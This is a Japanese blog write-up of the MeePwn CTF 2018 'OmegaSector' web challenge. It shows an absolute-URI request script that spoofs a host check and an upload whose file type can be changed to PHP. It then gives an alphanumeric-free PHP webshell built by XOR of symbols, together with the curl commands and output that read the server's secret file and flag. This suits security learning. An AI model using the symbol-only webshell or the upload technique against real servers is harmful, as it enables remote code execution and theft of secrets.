こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

MEEPWN CTF 2018 - OmegaSector

問題文

Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me http://138.68.228.12/

f:id:graneed:20180716014701p:plain

writeup

Stage1

HTMLソースを確認する。

<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2><img src="assets/map.jpg" id="taxi" width="55%" height="55%" /><body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>

is_debug=1のヒントを発見。

http://138.68.228.12/?is_debug=1にアクセスする。

f:id:graneed:20180716014856p:plain

ソースコードが表示された。

<?php 
ob_start(); 
session_start(); 
?> 
<html> 
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> 
<head> 
  <link rel="stylesheet" href="assets/omega_sector.css"> 
  <link rel="stylesheet" href="assets/tsu_effect.css"> 
</head> 

<?php 

ini_set("display_errors", 0); 
include('secret.php'); 

$remote=$_SERVER['REQUEST_URI']; 

if(strpos(urldecode($remote),'..')) 
{ 
mapl_die(); 
} 

if(!parse_url($remote, PHP_URL_HOST)) 
{ 
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 
} 
$whoareyou=parse_url($remote, PHP_URL_HOST); 


if($whoareyou==="alien.somewhere.meepwn.team") 
{ 
    if(!isset($_GET['alien'])) 
    { 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You ALIEN??</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="alien" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['alien']) and !empty($_GET['alien'])) 
    { 
         if($_GET['alien']==='@!#$@!@@') 
        { 
            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 
            exit(header( "Location: alien_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
elseif($whoareyou==="human.ludibrium.meepwn.team") 
{ 
     
    if(!isset($_GET['human'])) 
    { 
        echo ""; 
        $wrong = <<<EOF 
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> 
<h1 id="main" class="shadow">Are You Human?</h1> 
<form id="main"> 
    <button type="submit" class="button-success" name="human" value="Yes">Yes</button> 
    <button type="submit" class="button-error" name="human" value="No">No</button> 
</form> 
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> 
EOF; 
        echo $wrong; 
    } 
    if(isset($_GET['human']) and !empty($_GET['human'])) 
    { 
         if($_GET['human']==='Yes') 
        { 
            $_SESSION['auth']=hash('sha256', 'human'.$salt); 
            exit(header( "Location: omega_sector.php" )); 
        } 
        else 
        { 
            mapl_die(); 
        } 
    } 

} 
else 
{ 
    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; 
    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; 
    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") 
    { 
        show_source(__FILE__); 
    } 
} 

?> 
<body background="assets/background.jpg" class="cenback"> 
</body> 
<!-- is_debug=1 --> 
<!-- All images/medias credit goes to nexon, wizet --> 
</html> 
<?php ob_end_flush(); ?> 

ソースコードを読み解くと、$_SERVER['REQUEST_URI']を条件に、画面が変わるようだ。

alien.somewhere.meepwn.teamの場合は、エイリアン用の画面、
human.ludibrium.meepwn.teamの場合は、人間用の画面、
が表示される。

$_SERVER['REQUEST_URI']は、HTTPリクエストヘッダーの、GETやPOSTのURIである。しかし、Webブラウザやcurlコマンドでアクセスすると、GETやPOSTのURI/から始まるパスになる。

そういえば、Honeypotのログを解析していると、http://から始まるURIでアクセスしてくる場合があることを思い出す。何か方法があるのではと思い、http://から始まる絶対パスでアクセスする方法を探すと、以下のページがヒット。色々、役に立つものだ。

php - How to force cURL to send a complete URL as request target? - Stack Overflow

参考にして、以下のスクリプトを作成する。
合わせて、セッションのauthをセットするためのalienパラメータを付与する。

<?php
$host = '138.68.228.12';
$path = 'http://alien.somewhere.meepwn.team/?alien=%40!%23%24%40!%40%40';
#$path = 'http://human.ludibrium.meepwn.team/?human=Yes';

$fp = fsockopen($host, 80);

fputs($fp, "GET $path HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: 0\r\n");
fputs($fp, "Connection: close\r\n\r\n");

$result = ''; 
while(!feof($fp)) {
    $result .= fgets($fp, 128);
}

fclose($fp);

echo $result;
?>

実行する。

root@kali:OmegaSector# php curl_absolute.php 
HTTP/1.1 302 Found
Date: Sun, 15 Jul 2018 17:09:05 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: alien_sector.php
Content-Length: 230
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

認証済みのPHPSESSIDである41ni0sv31e0h97iraa22tvpse3をゲット。

Stage2

WebブラウザにPHPSESSIDをセットして、alien_sector.phpにアクセス。

f:id:graneed:20180716021529p:plain

文字列を入力可能なテキストエリアが表示される。エイリアン用のフォントになっているようで、そのままだと読めないが、コピペするなりHTMLソースから読む。色々と入力を試すと、以下のことがわかる。

  • a-zA-z0-9は入力不可。記号のみ。
  • 入力可能な文字数は40文字まで。
  • 入力に成功すると、入力文字列のテキストを使用して、
    /alien_message/ハッシュ値.alienのファイルを作成。

また、Fiddlerでリクエストデータを解析すると、入力文字列であるmessageパラメータ以外に、typeパラメータにalienをセットしていることがわかる。

typeパラメータを改ざんすると、作成されるファイルの拡張子が変わった。
よって、typeパラメータをphpに変更することで、任意のphpコードが実行可能である。

なお、human.ludibrium.meepwn.teamでアクセスする人間用のページもあったが、こちらは逆にa-zA-Z0-9しか入力できず、PHPコードは作れないため、使用しなかった。

Stage3

記号のみでPHPコードを作ればよい。
PHPヘッダーは<?phpから始まるが、phpはアルファベットであり使用できないため、<?= =?>で代替することにした。以下を参照。

PHP: HTML からの脱出 - Manual

ここからだいぶ悩んだが、チームメンバーから以下のヒントをもらった。

[Bypass WAF] Php webshell without numbers and letters • Penetration Testing

記号と記号のXORでアルファベットを錬成するアイデア
試行錯誤した結果、以下の方法でcat ../の文字列を錬成することに成功。
なお、サラッと書いているが、ここら辺は、ものすごい時間がかかっている。

php > echo(('<>+'^'___').' ../*');
cat ../*

作成するPHPファイルに埋め込むソースの全体は以下の通りとなる。

<?=$_=('<>+'^'___').' ../*'?><?=`$_`?>

PHPファイル生成のリクエストを発行する。なお、HTTPエンコード済み。

root@kali:OmegaSector# curl http://138.68.228.12/alien_sector.php -H "Cookie: PHPSESSID=41ni0sv31e0h97iraa22tvpse3" -d "type=php" -d "message=%3C%3F%3D%24_%3D('%3C%3E%2B'%5E'___').'%20..%2F*'%3F%3E%3C%3F%3D%60%24_%60%3F%3E"
]<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>


<h2 id="intro" class="alien_language">Saved in alien_message/0747cd11edbf2310cdca76c274f44201.php</h2><div class="alien_language">
<h2 id="intro" class="neon">Looks like the aliens aren't here, so please leave the message, they will come later.</h2>
</div>
<form action="alien_sector.php" method="POST">
<textarea class="shadow" id="main" name="message"></textarea>
<input type='text' name='type' value='alien' hidden />
<button type="submit" id="button"><div class="alien_language">Save</div></button>
</form>
<body background="assets/alien_sector.jpg" class="cenback"></body>
<audio controls autoplay hidden>
  <source src="assets/omegasector.mp3" type="audio/mpeg">
</audio>
</html>

PHPファイルができたのでアクセスする。

root@kali:OmegaSector# curl http://138.68.228.12/alien_message/0747cd11edbf2310cdca76c274f44201.php
cat ../*<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>

(snip)

<?php ob_end_flush(); ?><?php

$salt='G0g0_M3s0sr4ng3rS_1337';
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
//Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^.

function mapl_die()
    {
        $wrong = <<<EOF
<body background="assets/wrong.jpg" class="cenback"></body>
EOF;
        die($wrong);
    }

?>

saltが格納されているsecret.php内にフラグがあったようだ。
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
フラグゲット。